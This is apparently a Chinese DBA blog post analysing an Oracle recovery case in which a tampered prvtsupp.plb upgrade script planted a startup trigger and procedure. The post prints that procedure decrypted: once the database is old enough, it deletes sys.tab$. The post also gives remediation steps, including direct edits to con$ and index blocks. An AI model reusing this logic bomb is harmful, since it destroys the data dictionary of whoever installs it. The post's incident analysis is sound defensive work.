前幾天某客戶緊急求助我們,其Oracle數據庫由於重啓之後無法正常啓動。最後通過數據庫全備進行了一天一夜的恢復,最後仍然無法正常打開數據庫。alter database open時檢查發現數據庫報錯ORA-16703.
從用戶提供的信息來看,確實是在open resetlogs的時候出現的錯誤。那麼這個錯誤意味着什麼呢? 其實第一眼看到這個錯誤;我們就大概清楚這是Oracle的數據字典出問題了。 而且這通常是Oracle tab$。
接到這個case,我開始感覺是非常的奇怪。爲什麼客戶利用Oracle rman全備+歸檔進行恢復,然後open的時候居然報數據字典有問題呢?感覺有點匪夷所思。
這裏我們首先要做的是進行驗證,驗證什麼信息呢? 很簡單,確認tab$是否真的有問題。這裏其實有2種方法(第一是10046 trace跟蹤你會看到Oracle 遞歸SQL在訪問tab$時報錯、第二是直接通過工具讀取tab$的數據,看看是否正常)。
實際上這裏我首先通過10046 event跟蹤了一下,發現確實如此,爲了更加確認,我將system文件cp到文件系統,通過ODU 抽取了tab$的數據,發現居然是0 行。這說明什麼呢? 說明tab$ 的數據被人清空了?
我相信只有這一種解釋了。發現了問題,沒什麼用呀。我們需要儘快幫用戶恢復生產庫,恢復業務。這是關鍵。由於客戶之前的環境已經被人resetlogs了多次,因此不再適合繼續恢復了;首先我們通過全備進行了一次恢復,然後嘗試打開了數據庫。確實非常順利,但是遺憾的,不到1分鐘數據庫就宕機了,然後再次啓動就是報同樣的錯誤ORA-16073.
還好我此時多了一個心眼,open之前我先備份了system文件;此時再次通過odu抽取tab$的數據進行對比發現;open之前數據是存在的;open之後數據庫宕機,然後再次查看tab$數據爲0.
很明顯,問題出在open之後的一個極其短暫的時內。通常這種破壞操作都是通過存儲過程或者trigger等來進行;因此我嘗試通過odu抽取了obj$的信息。發現該數據庫再2017年9月2號凌晨創建了幾個特殊對象,猜測就是這個東西在搗鬼了。
這幾個dbms_support的對象明顯是有問題的。看來這個問題在1個月前就潛伏了,只是用戶沒有發覺而已。結合alert log分析判斷9月2號客戶應該是進行過數據庫升級操作,後面跟客戶確認也確實如此。
難道問題出在升級的環境? 問過當時升級的工程師,整個過程沒有任何問題,只是簡單的將數據庫從11.2.0.3升級到11.2.0.4。 想到這裏,問懷疑問題可能出現在Oracle軟件安裝包上。搜了一下Mos發現這個dbms_support對象在安裝升級過程運行?/rdbms/admin/prvtsupp.plb腳本產生的內容。 既然如此;那麼有沒有這個腳本被人動過手腳呢? strings 看了一下腳本內容,發現確實有問題。
如下是被惡意注入後的腳本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
ora1>$strings /oracle/product/11.2.4/rdbms/admin/prvtsupp.plb create or replace package body dbms_support wrapped a000000 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd a60 422 xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8 bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop /vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF 2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3 3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1 9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0 eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M= create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped a000000 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd 166 17d L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7 GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD lUETCD2WIxfg3w== PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER create or replace trigger DBMS_SUPPORT_DBMONITOR after startup on database declare begin DBMS_SUPPORT_DBMONITORP; end; ora1>$ |
如下是我的11.2.0.4環境的正常腳本內容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
[oracle@killdb admin]$ strings /u01/app/oracle/product/11.2.0/dbhome_1/rdbms/admin/prvtsupp.plb create or replace package body dbms_support wrapped a000000 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd a60 422 xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8 bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop /vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF 2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3 3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1 9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0 eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M= |
我們可以清楚的看到,前面的大部分內容被篡改了。對於這個惡意攻擊腳本,我嘗試進行解密,但是沒有成功。
後面研究了一下,稍微修改一下腳本,即可順利解密,解密出來的代碼如下所示:
1 2 3 4 5 6 7 8 9 10 11 |
PROCEDURE DBMS_SUPPORT_DBMONITORP IS DATE1 INT :=10; BEGIN SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE; IF (DATE1>=300) THEN EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$'; DELETE SYS.TAB$; COMMIT; EXECUTE IMMEDIATE 'alter system checkpoint'; END IF; END; |
注意、注意;禁止拿去搞破壞性動作!本站一概不負責!
對於Oracle自帶的這個正常的prvtsupp.plb的腳本,可以輕易解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 |
PACKAGE BODY dbms_support AS
FUNCTION MYSID RETURN NUMBER IS L_SID NUMBER := 0; BEGIN
SELECT SID INTO L_SID FROM V$MYSTAT WHERE ROWNUM = 1; RETURN(L_SID); END;
FUNCTION PACKAGE_VERSION RETURN VARCHAR2 IS BEGIN RETURN('DBMS_SUPPORT Version 1.0 (17-Aug-1998)'|| ' - Requires Oracle 7.2 - 8.0.5'); END;
FUNCTION CURRENT_SERIAL(L_SID IN NUMBER) RETURN NUMBER IS L_SERIAL NUMBER := 0; BEGIN SELECT SERIAL# INTO L_SERIAL FROM V$SESSION WHERE SID = L_SID; RETURN(L_SERIAL); EXCEPTION WHEN NO_DATA_FOUND THEN RAISE_APPLICATION_ERROR(-20000, 'Current_Serial: SID '||L_SID||' does not exist'); END;
PROCEDURE VALIDATE_SID(L_SID IN NUMBER, L_SERIAL IN NUMBER) IS L_STATUS VARCHAR2(20); BEGIN SELECT STATUS INTO L_STATUS FROM V$SESSION WHERE SID = L_SID AND SERIAL# = L_SERIAL; IF L_STATUS = 'KILLED' THEN RAISE_APPLICATION_ERROR(-20000, 'Validate_Sid: Session ('||L_SID||','||L_SERIAL|| ') has been KILLED'); END IF; EXCEPTION WHEN NO_DATA_FOUND THEN RAISE_APPLICATION_ERROR(-20000, 'Validate_Sid: Session ('||L_SID||','||L_SERIAL|| ') does not exist'); END;
PROCEDURE START_TRACE(WAITS IN BOOLEAN DEFAULT TRUE, BINDS IN BOOLEAN DEFAULT FALSE) IS BEGIN START_TRACE_IN_SESSION(MYSID,0,WAITS,BINDS); END;
PROCEDURE STOP_TRACE IS BEGIN STOP_TRACE_IN_SESSION(MYSID,0); END;
PROCEDURE START_TRACE_IN_SESSION(SID IN NUMBER, SERIAL IN NUMBER, WAITS IN BOOLEAN DEFAULT TRUE, BINDS IN BOOLEAN DEFAULT FALSE) IS L_LEVEL NUMBER := 0; L_SID NUMBER := SID; L_SERIAL NUMBER := SERIAL; BEGIN
IF (SERIAL = 0 OR SERIAL IS NULL) THEN L_SERIAL := CURRENT_SERIAL(SID); END IF; VALIDATE_SID(L_SID, L_SERIAL);
IF (WAITS AND BINDS) THEN L_LEVEL := 12; ELSIF (WAITS) THEN L_LEVEL := 8; ELSIF (BINDS) THEN L_LEVEL := 4; ELSE L_LEVEL := 1; END IF;
DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, L_LEVEL, ''); END;
PROCEDURE STOP_TRACE_IN_SESSION(SID IN NUMBER, SERIAL IN NUMBER) IS L_SID NUMBER := SID; L_SERIAL NUMBER := SERIAL; BEGIN
IF (SERIAL = 0 OR SERIAL IS NULL) THEN L_SERIAL := CURRENT_SERIAL(SID); END IF; VALIDATE_SID(L_SID, L_SERIAL);
DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, 0, ''); END; END DBMS_SUPPORT; |
那麼知道了問題的原因,如何處理呢? 這就不太難了。我嘗試用提前cp備份的system文件進行替換,然後推進scn順利打開了數據庫,打開之後,我離開進行了如下的操作。
1 2 3 4 5 |
alter system set "_system_trig_enabled"=false scope=both; alter database open ; drop TRIGGER DBMS_SUPPORT_DBMONITOR; drop PROCEDURE DBMS_SUPPORT_DBMONITORP; drop PACKAGE DBMS_SUPPORT; |
這裏需要注意的是,對於這個隱含參數,建議open之前打開,可以起到類似將數據庫在upgrade模式下操作的效果(drop操作要夠快,最好是命令與open操作一起執行)。
事情到這裏還沒結束,可能是我操作不夠快還是怎麼到。最後dbmonitorp這個私活無法drop,會一直掛起。不過trigger被drop了,那麼只是問題不會再次觸發了,除非手工調用這個存儲過程。
最後客戶測試應用時,發現有將近10個表有問題,報錯ora-30732錯誤。這個錯誤本身來講不難處理,重建對象即可。問題是當我嘗試重建table時,發現session直接掛起。通過10046 event跟蹤session發現一直時row cache lock,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
===================== PARSING IN CURSOR #47076496818944 len=247 dep=0 uid=0 oct=1 lid=0 tim=1506947044194706 hv=2230672216 ad='18eb9ca910' sqlid='0cxwj6k2gaqus' CREATE TABLE test.LIS_TES END OF STMT PARSE #47076496818944:c=2000,e=2011,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=1,plh=0,tim=1506947044194702 ===================== PARSING IN CURSOR #47076496812832 len=45 dep=1 uid=0 oct=3 lid=0 tim=1506947044195801 hv=3393782897 ad='18fce834e0' sqlid='9p6bq1v54k13j' select value$ from sys.props$ where name = :1 END OF STMT PARSE #47076496812832:c=1000,e=884,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=1506947044195800 BINDS #47076496812832: Bind#0 oacdty=01 mxl=32(22) mxlc=00 mal=00 scl=00 pre=00 oacflg=10 fl2=0001 frm=01 csi=852 siz=32 off=0 kxsbbbfp=2ad0d9dea2b8 bln=32 avl=22 flg=05 value="GG_XSTREAM_FOR_STREAMS" EXEC #47076496812832:c=1000,e=1304,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044197191 FETCH #47076496812832:c=0,e=65,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044197275 STAT #47076496812832 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=66 us cost=2 size=28 card=1)' CLOSE #47076496812832:c=0,e=5,dep=1,type=0,tim=1506947044197363 ===================== PARSING IN CURSOR #47076497130448 len=70 dep=1 uid=0 oct=3 lid=0 tim=1506947044200836 hv=1853064805 ad='192c100d50' sqlid='5hrvvu1r771m5' SELECT VALUE$ FROM SYS.PROPS$ WHERE NAME = 'OGG_TRIGGER_OPTIMIZATION' END OF STMT PARSE #47076497130448:c=2000,e=1513,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044200835 EXEC #47076497130448:c=0,e=19,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044200964 FETCH #47076497130448:c=0,e=24,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044201006 STAT #47076497130448 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=24 us cost=2 size=28 card=1)'
*** 2017-10-02 20:24:07.201 WAIT #47076496818944: nam='row cache lock' ela= 3000384 cache id=8 mode=0 request=3 obj#=-1 tim=1506947047201532
*** 2017-10-02 20:24:10.203 WAIT #47076496818944: nam='row cache lock' ela= 3001708 cache id=8 mode=0 request=3 obj#=-1 tim=1506947050203394
*** 2017-10-02 20:24:13.205 WAIT #47076496818944: nam='row cache lock' ela= 3001737 cache id=8 mode=0 request=3 obj#=-1 tim=1506947053205264
*** 2017-10-02 20:24:16.207 WAIT #47076496818944: nam='row cache lock' ela= 3001722 cache id=8 mode=0 request=3 obj#=-1 tim=1506947056207134 |
這確實有些怪異了。通過上面毒cahce id=12我們可以進一步定位到是數據庫的約束可能有問題,如下:
1 2 3 4 5 6 7 8 9 10 11 12 |
SQL> select cache#,cache_name,lock_mode,lock_request,saddr from v$rowcache_parent where lock_mode<>0;
CACHE# CACHE_NAME LOCK_MODE LOCK_REQUEST SADDR ---------- ---------------------------------------------------------------- ---------- ------------ ---------------- 8 dc_objects 5 0 0000001883325D60 8 dc_objects 5 0 0000001883325D60 8 dc_objects 5 0 0000001883325D60 8 dc_objects 5 0 0000001883325D60 11 dc_objects 5 0 0000001883325D60 11 dc_objects 5 0 0000001883325D60 12 dc_constraints 5 0 0000001883325D60 12 dc_constraints 5 0 0000001883325D60 |
約束有問題? 各位不要驚訝,這裏完全有可能,因爲數據庫是強制open的,可能有不一致的情況出現。爲了進行驗證,我創建一個不帶約束的table 發現確實ok,帶上not null的約束就hang住。
最後在自己的11.2.0.4的數據庫進行了簡單測試發現:
1、create table(帶約束的情況下)會如下幾個基表的操作,但是與約束有關係的,其實就con$,cdef$:
1 2 3 4 5 |
insert into con$(owner#,name,con#,spare1)values(:1,:2,:3,:4) insert into tab$(obj#,ts#,file#,block#,bobj#,tab#,intcols,kernelcols,clucols,audit$,flags,pctfree$,pctused$,initrans,maxtrans,rowcnt,blkcnt,empcnt,avgspc,chncnt,avgrln,analyzetime,samplesize,cols,property,degree,instances,dataobj#,avgspc_flb,flbcnt,trigflag,spare1,spare6)values(:1,:2,:3,:4,decode(:5,0,null,:5),decode(:6,0,null,:6),:7,:8,decode(:9,0,null,:9),:10,:11,:12,:13,:14,:15,:16,:17,:18,:19,:20,:21,:22,:23,:24,:25,decode(:26,1,null,:26),decode(:27,1,null,:27),:28,:29,:30,:31,:32,:33) insert into col$(obj#,name,intcol#,segcol#,type#,length,precision#,scale,null$,offset,fixedstorage,segcollength,deflength,default$,col#,property,charsetid,charsetform,spare1,spare2,spare3)values(:1,:2,:3,:4,:5,:6,decode(:5,182/*DTYIYM*/,:7,183/*DTYIDS*/,:7,decode(:7,0,null,:7)),decode(:5,2,decode(:8,-127/*MAXSB1MINAL*/,null,:8),178,:8,179,:8,180,:8,181,:8,182,:8,183,:8,231,:8,null),:9,0,:10,:11,decode(:12,0,null,:12),:13,:14,:15,:16,:17,:18,:19,:20) insert into ccol$(con#,obj#,intcol#,pos#,col#,spare1) values(:1,:2,:3,decode(:4,0,null,:4),:5, :6) insert into cdef$(obj#,con#,type#,intcols,condlength,condition,robj#,rcon#,match#,refact,enabled,cols,defer,mtime,spare1,spare2,spare3)values(:1,:2,:3,decode(:4,0,null,:4),decode(:5,0,null,:5),:6,decode(:7,0,null,:7),decode(:8,0,null,:8),decode(:9,0,null,:9),decode(:10,0,null,:10), decode(:11,0,null,:11),:12, decode(:13,0,null,:13),:14,:15,:16,:17) |
2、創建約束時Oracle會以_next_constraint 的con# 值爲當前所能搞創建成功的約束的con#;該值必須比con$.max(con#)要大。 其實只要大於即可。
根據類似的思路我對客戶這套數據庫進行了簡單檢查,發現數據字典確實有問題,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 |
SQL> select /*+full(con$) */ con# from con$ 2 minus 3 select /*+full(cdef$) */ con# from cdef$ 4 /
CON# ---------- 144216
SQL> select /*+full(cdef$) */ con# from cdef$ minus 2 select /*+full(con$) */ con# from con$;
no rows selected
SQL> select /*+index(cdef$ I_CDEF1) */ con# from cdef$ minus 2 select /*+INDEX(con$ I_CON2) */ con# from con$;
CON# ---------- 144217 144218 144219 144220 144221 144222 144223 144224 144225 144226 144227 144228 144229
13 rows selected.
++++index
select /*+index(cdef$ I_CDEF1) */ con# from cdef$ order by 1;
CON# ---------- 144171 144192 144193 144216 144217 144218 144219 144220 144221 144222 144223 144224 144225 144226 144227 144228 144229
+++table select /*+full(cdef$) */ con# from cdef$ order by 1;
CON# ---------- 144086 144087 144088 144089 144090 144091 144092 144093 144094 144095 144096 144171 144192 144193
+++con$ index
select /*+INDEX(con$ I_CON2) */ con# from con$ order by 1 ;
CON# ---------- 144171 144192 144193 144216
file 67 block 69150
+++con$ table select /*+full(con$) */ con# from con$ order by 1 ;
CON# ---------- 144171 144192 144193 144216 ..... 144228 |
con$的記錄均包含了cdef$。因此這裏我們不需要太關注cdef$。
首先我們來說con$:
由於其i_con2這個唯一索引中最大值是144216,因此我們需要將表中con# >144216 的記錄全部標記爲刪除;
其次對於cdef$:
由於cdef$中con# 最大記錄是144193,因此需要將其索引I_CDEF1中的con# > 144193的鍵值全部標記爲刪除。
這裏我們通過bbed 修復了上述對應的一些data block和Index Block,但是創建table 時發現還是hang住。難道哪個地方沒有修改對嗎?
由於我的測試環境的情況是需要_next_constraint 能夠正常工作,按理說都是ok的。那麼問題出現在什麼的地方呢?
這裏我們先嚐試來查看一條正常的記錄,例如con#=144193:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id, 2 dbms_rowid.rowid_block_number(rowid) block_id 3 from con$ where con#=144193 4 /
ROWID FILE_ID BLOCK_ID ------------------ ---------- ---------- AAAAAcAABAAAc+PABI 1 118671
SQL> select rowid, 2 dbms_rowid.rowid_object(rowid) object_id, 3 dbms_rowid.rowid_relative_fno(rowid) file_id, 4 dbms_rowid.rowid_block_number(rowid) block_id, 5 dbms_rowid.rowid_row_number(rowid) num 6 from con$ where con#=144193;
ROWID OBJECT_ID FILE_ID BLOCK_ID NUM ------------------ ---------- ---------- ---------- ---------- AAAAAcAABAAAc+PABI 28 1 118671 72 |
大家可以看到,dba地址和行號都應該是對應起來的(這裏我沒有顯示行號).
我們再來看看異常的這條數據:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
SQL> select rowid, 2 dbms_rowid.rowid_object(rowid) object_id, 3 dbms_rowid.rowid_relative_fno(rowid) file_id, 4 dbms_rowid.rowid_block_number(rowid) block_id, 5 dbms_rowid.rowid_row_number(rowid) num 6 from con$ where con#=144216;
ROWID OBJECT_ID FILE_ID BLOCK_ID NUM ------------------ ---------- ---------- ---------- ---------- AAAAAcAABAAAc+PAAS 28 1 118671 18
SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id, 2 dbms_rowid.rowid_block_number(rowid) block_id 3 from con$ where con#=144216 4 /
ROWID FILE_ID BLOCK_ID ------------------ ---------- ---------- AAAAAcAABAAAAEhAAM 1 289 |
很明顯,rdba地址都不匹配呀(注意:前面基於rowid的查詢,不加hint的情況下,走的是Index 掃描)。以爲這裏將rdba修改爲file 1 block 289 就ok了,發現還是不行。爲什麼呢? 這裏給自己挖了一個坑。後面再次查詢發現行號其實也不匹配,正常應該對應第12行,實際這裏錯誤的對應到18行了。如下是該數據塊的dump情況:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
—file 1 block 289 dump
tl: 29 fb: --H-FL-- lb: 0x0 cc: 4 col 0: [ 1] 80 col 1: [16] 5f 4e 45 58 54 5f 43 4f 4e 53 54 52 41 49 4e 54 col 2: [ 4] c3 0f 2b 11 col 3: [ 1] 80 tab 0, row 13, @0x1e92
www.killdb.com@select dump(144216,16) from dual;
Typ=2 Len=4: c3,f,2b,11
www.killdb.com@ www.killdb.com@select dump('_NEXT_CONSTRAINT',16) from dual;
Typ=96 Len=16: 5f,4e,45,58,54,5f,43,4f,4e,53,54,52,41,49,4e,54 |
看來這確實是我們需要的這條數據,非常珍貴的一條數據呀。當最後將index block中的行號也修改爲一致時,再次測試發現就ok了。不過我這裏還是直接將該條記錄delete條了,然後插入一條新的記錄(有些人會說,這裏如果不修改能否delete呢?其實不行的,delete會報錯):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
SQL> delete from con$ where con#=144216;
1 row deleted.
SQL> commit;
Commit complete.
SQL> insert into con$ values(0,'_NEXT_CONSTRAINT',144236,0,'','','','','');
1 row created.
SQL> commit;
Commit complete.
SQL> select /*+INDEX(con$ I_CON2) */rowid, 2 dbms_rowid.rowid_object(rowid) object_id, 3 dbms_rowid.rowid_relative_fno(rowid) file_id, 4 dbms_rowid.rowid_block_number(rowid) block_id, 5 dbms_rowid.rowid_row_number(rowid) num_5 6 from con$ where con#=144236;
ROWID OBJECT_ID FILE_ID BLOCK_ID NUM_5 ------------------ ---------- ---------- ---------- ---------- AAAAAcAABAAAc+PAAS 28 1 118671 18
SQL> SQL> SQL> select /*+full(con$) */ rowid, 2 dbms_rowid.rowid_object(rowid) object_id, 3 dbms_rowid.rowid_relative_fno(rowid) file_id, 4 dbms_rowid.rowid_block_number(rowid) block_id, 5 dbms_rowid.rowid_row_number(rowid) num_5 6 from con$ where con#=144236;
ROWID OBJECT_ID FILE_ID BLOCK_ID NUM_5 ------------------ ---------- ---------- ---------- ---------- AAAAAcAABAAAc+PAAS 28 1 118671 18
SQL> conn test/test Connected. SQL> create table tt_con(id number not null);
Table created. |
整個恢復過程其實要比這個複雜一些,省略了一些步驟,不過基本上差不了太多。大家將就看喏~~